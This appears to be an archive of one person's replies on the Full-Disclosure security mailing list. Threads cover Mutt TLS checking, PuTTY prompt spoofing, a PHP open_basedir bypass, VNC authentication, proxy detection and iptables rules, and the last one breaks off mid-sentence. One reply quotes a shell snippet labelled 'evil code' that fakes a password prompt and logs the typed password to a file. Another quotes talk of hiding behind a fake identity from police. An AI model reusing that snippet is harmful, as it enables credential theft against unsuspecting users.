Re: [Full-disclosure] Mutt: failure to check server certificate in SMTP TLS connection
On Tue, Mar 08, 2011 at 12:36:01PM +1100, dave b wrote: > Hi all. It seems that mutt fails to check the validity of a SMTP > servers certificate during a TLS connection. In my mutt configuration > I have > > set ssl_starttls = yes > set ssl_force_tls = yes > > However, after performing the steps below I found that mutt did not > properly validate the remote servers SMTP tls certificate. This means > that an attacker could potentially MITM a mutt user connecting to > their SMTP server even when the user has forced a TLS connection. > > Steps to test this: > 1. I set in my hosts file the ip for smtp.gmail.com to be bound to > mail.lolok.com > > in /etc/hosts > 74.125.127.109 mail.LOLOK.com > > 2.Then I changed my > > set smtp_url = "smtp://myusern...@smtp.gmail.com:587/" > to be > set smtp_url = "smtp://myusern...@mail.lolok.com:587/" > > 3. I opened up mutt and emailed my self. I note that I saw mutt say > "connecting to mail.lolok.com". > > I feel that this is an issue because mutt _does_ actually perform IMAP > server certificate validation (at least it did when I last tested it > :P). I'm on the train and not able to test, but the muttrc(5) man page has smtp_url Type: string Default: "" Defines the SMTP smarthost where sent messages should relayed for delivery. This should take the form of an SMTP URL, e.g.: smtp[s]://[user[:pass]@]host[:port] where "[...]" denotes an optional part. Setting this variable overrides the value of the $sendmail variable. Note the "[s]". But yes, you should arguably file a documentation-bug with the Mutt maintainers, since ssl_starttls does suggest that it works for SMTP too. Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] PuTTY private key passphrase stealing attack
On Wed, Jun 02, 2010 at 01:29:40PM +0530, rapper crazy wrote: > all controls like MOTD can be bypassed ... > > =edited script= > # evil code > mIP=`/sbin/ifconfig | grep x.x.x | cut -d ':' -f2- | cut -d ' ' -f1` > mUn=`whoami` > mSttyVal=`stty -g` > echo -en "Permission denied, please try again.\n" > echo -en "$...@$mip's password:" > stty -echo > read password > echo -en "username: $mUn \t\t password: $password\n" >>/tmp/.log > echo -en "\n" > stty $mSttyVal > ==end snippet > > > Apart from this, we already need to have root access to replace any .bashrc > file ... this is not really an attack but a social engineering attack > if we had root access we could attach sshd to the strace and get any > password etc all details But note that someone with access to a single account could use this to gain the password for that account, and hence possibly sudo access. It's a bit of a stretch, but not impossible. Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] PuTTY private key passphrase stealing attack
On Tue, Jun 01, 2010 at 02:47:07AM +0200, Jan Schejbal wrote: > PuTTY, a SSH client for Windows, requests the passphrase to the ssh > key in the console window used for the connection. This could allow > a malicious server to gain access to a user's passphrase by spoofing > that prompt. > Developer notification: > The possibility of such spoofing attacks is known: > http://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/gui-auth.html > Other software affected: > Probably many console-based SSH tools have similar issues. This was also discussed in the context of OpenSSH; I am familiar with http://thread.gmane.org/gmane.network.openssh.devel/16488/focus=16497, but that was probably not the first time either. Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] PHP 5.2.12/5.3.1 session.save_path safe_mode and open_basedir bypass
On Thu, Feb 11, 2010 at 03:35:28PM +0100, Christian Sciberras wrote: > What exactly are the implications of this? > Surely no one [website] accepts paths. Some providers of shared hosting give each user the same uid and restrict them to their own directories via open_basedir. This breaks that mechanism (again). Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise
On Mon, May 15, 2006 at 07:58:10AM -0500, Dixon, Wayne wrote: > So what can be done about this exploit? Does 4.1.2 protect against this > vulnerability? And what other mitigation procedures are available for > this? The best solution is not to run a VNC service using no more than it's own authentication. Most offer only password auth, which is quite simply insufficient. Use some auth scheme based on certificates or somesuch - ssh, IPSec and OpenVPN all offer this capability. Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Proxy Detection
On Sat, Apr 22, 2006 at 03:31:31PM -0500, Justin Terry wrote: > Hello List! > > I am a long time reader, first time poster, and everything like that. > > I use a proxy service that runs in my system tray, (the onion router, and > privoxy, in conjunction) and when i use this software, everything works great. > When i go to www.whatismyipaddress.com however, it tells me that a > proxy server is detected. > > How is it possible for them to detect that i am using a proxy? > > (also, sometimes it can detect that i am using a proxy, and other times it can > not, although i use the same software all the time.) One other option would be to have a list of IP addresses of proxies handy, and perform a simple lookup. Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Microsoft DNS resolver: deliberately sabotaged hosts-file lookup
On Thu, Apr 13, 2006 at 06:29:15PM +0100, Dave Korn wrote: > > Hey, guess what I just found out: Microsoft have deliberately sabotaged > their DNS client's hosts table lookup functionality. > (...) I'd try to block (Windows Media Player) it in my hosts file. > Microsoft DNS client special-cases 'go.microsoft.com' and refuses to look > it up in the hosts file. > I'm running fully up-to-date Windows XP SP2. I don't have any pfw > software that could conceivably be interfering, and the windows firewall is > running with more-or-less the default settings (I've only added a couple of > exceptions, no other changes). I don't think this is a false positive. > > On reading through %WINDIR%\system32\dnsapi.dll with 'strings', I find the > following hostnames listed. I assume they are all also singled out for > special treatment:- > > www.msdn.com > msdn.com > www.msn.com > msn.com > go.microsoft.com > msdn.microsoft.com > office.microsoft.com > microsoftupdate.microsoft.com > wustats.microsoft.com > support.microsoft.com > www.microsoft.com > microsoft.com > update.microsoft.com > download.microsoft.com > microsoftupdate.com > windowsupdate.com > windowsupdate.microsoft.com > > [ I've verified that the same behaviour occurs for office.microsoft.com, > exactly as for go.microsoft.com, but haven't tried any of the others yet. > I'd bet real money on it, though. ] What's your point? It's not like it's the first piece of software ever to bypass the hosts file, is it? And if you're a software giant, that's easy to do at a lower level. Blacklisting IP addresses by /etc/hosts or equivalent is an extremely broken way of blocking, anyway; and vague hacks like that need not be supported. Use a real, non-host-based firewall. Of course, you might wish to stop certain software from phoning home. Fine, but use something that works - MS is evil in many ways, but not because this particular hack happens not to work. Switching to OSS quite nicely solves all these problems, though. Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Shell accounts
On Tue, Apr 11, 2006 at 11:48:41PM +0100, Ian stuart Turnbull wrote: > Ha Ha. Yes, not a proper fiend hey. But I take it that I would be anonymous > technically. > If I were to do it for real I'd probably set up an internet connection in > an assumed name complete with a fake bank account so there'd be no one for > the cops to berate, just the computer [with no logs] to kick. Not leaving log files is not that easy. And it becomes harder when someone can get physical access to install all sorts of nifty add-ons. Also, note that log files are only useful if the police arrive with a search warrant or something along those lines - the ISP will just terminate the account, keep the money, and tell your friend to f**k off. It would be difficult to do something about this, especially since the ISP is likely able to wave around some logs of their own. Come to think of it, that's one more log file that will be difficult to clear. Whether or not it is made at all depends on the ISP, and mostly on the domestic laws whereever you live. Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Internet Explorer 0day
On Wed, Mar 15, 2006 at 05:15:50AM -0600, nocfed wrote: > > > Mozilla isn't any better these days. Let's all > > > improve on netcat! > > > > Well, OpenBSD's has an option to work via HTTP proxies in the upcoming > > 3.9 release... ;-) > > > > Joachim > > > > HUH? > > You mean like when they added basic HTTP CONNECT back in October of 2004? > > http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/nc/socks.c.diff?r1=1.8&r2=1.9&f=h > > http://www.openbsd.org/plus37.html > "Add support for the HTTP proxy CONNECT method to nc(1)." > > Has had SOCKS4/5 for quite a while before that. > > Anyways, ditch netcat and use nmap-ncat > > http://sourceforge.net/projects/nmap-ncat/ No, as Rembrandt pointed out, more precisely - it can do authenticated HTTP proxying. Anyway, all this just leads to lynx... which is, BTW, quite useful. Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Internet Explorer 0day
On Tue, Mar 14, 2006 at 12:04:57PM -0700, Don Bailey wrote: > >You got that when you chose to use IE. =] > > > > Mozilla isn't any better these days. Let's all > improve on netcat! Well, OpenBSD's has an option to work via HTTP proxies in the upcoming 3.9 release... ;-) Joachim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] reduction of brute force log
On Tue, Feb 28, 2006 at 10:52:27AM -0600, Bob Radvanovsky wrote: > I am going to test these rules out -- this looks REALLy good! > But...I've got just ONE question: why on Earth would you permit > ICMP??? (Outgoing) echo requests and port-unreachable responses (to UDP packets), just to name a couple. Source quench and redirect are both powerful, but also more than a little dangerous to allow. > And what significances are ports 50, 51, 1599, 1600 and 1601? 443 and 80 are > HTTP-S and HTTP (respectively), 123 is NTP -- I realize that, but what are > these others ports used for? We are talking about IP *protocols* 50 and 51, which are ESP and AH - the IPsec protocols. The 1599-1601 ports are used to open/close the ssh port, as explained in the article linked. This firewall configuration should work as advertised. Of course, restricting logins to public key authentication should work, and has the added advantage that one does not try to login from yet another keylogger-infected Windows box. Joachim > -r > > *filter > :INPUT ACCEPT [0:0] > :FORWARD ACCEPT [0:0] > :OUTPUT ACCEPT [0:0] > :RH-Firewall-1-INPUT - [0:0] > -A INPUT -j RH-Firewall-1-INPUT > -A FORWARD -j RH-Firewall-1-INPUT > -A RH-Firewall-1-INPUT -i lo -j ACCEPT > -A RH-Firewall-1-INPUT -s 10.0.0.0/24 -j ACCEPT > -A RH-Firewall-1-INPUT -p icmp --icmp-type any -j ACCEPT > -A RH-Firewall-1-INPUT -p 50 -j ACCEPT > -A RH-Firewall-1-INPUT -p 51 -j ACCEPT > -A RH-Firewall-1-INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT > -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -m > recent --rcheck --name SSH -j ACCEPT > -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT > -A RH-Firewall-1-INPUT -m state --state NEW -m udp -p udp --dport 123 -j > ACCEPT > -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j > ACCEPT > -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1599 -m > recent --name SSH --remove -j DROP > -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1600 -m > recent --name SSH --set -j DROP > -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 1601 -m > recent --name SSH --remove -j DROP > -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp-host-prohibited > COMMIT > > > - Original Message - > From: Matthijs van Otterdijk [mailto:[EMAIL PROTECTED] > To: full-disclosure@lists.grok.org.uk > Subject: Re: [Full-disclosure] reduction of brute force login attempts via > SSHthrough iptables --hashlimit > > > > I haven't tried this myself, and I don't know if it is already suggested, > > but this should stop all the pesky scriptkiddies from filling up your logs. > > Might prove to be a better solution, who knows: > > http://aplawrence.com/Security/sshloginattack.html > > > > Matthijs ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Using domain whois information for fun and profit
On Mon, Feb 27, 2006 at 02:41:17PM -0600, Response Team wrote: > The whois information for this domain contains a tag. This means if > you are to view the whois information on any HTML based page, the script is > executed. > > Registrant: >DOMIBOT (CAREFREETRAVELMN-COM-DOM) >Avenida Caroni 5478 >Colinas Monte, Caracas >Venezuela >+1.2085751538 >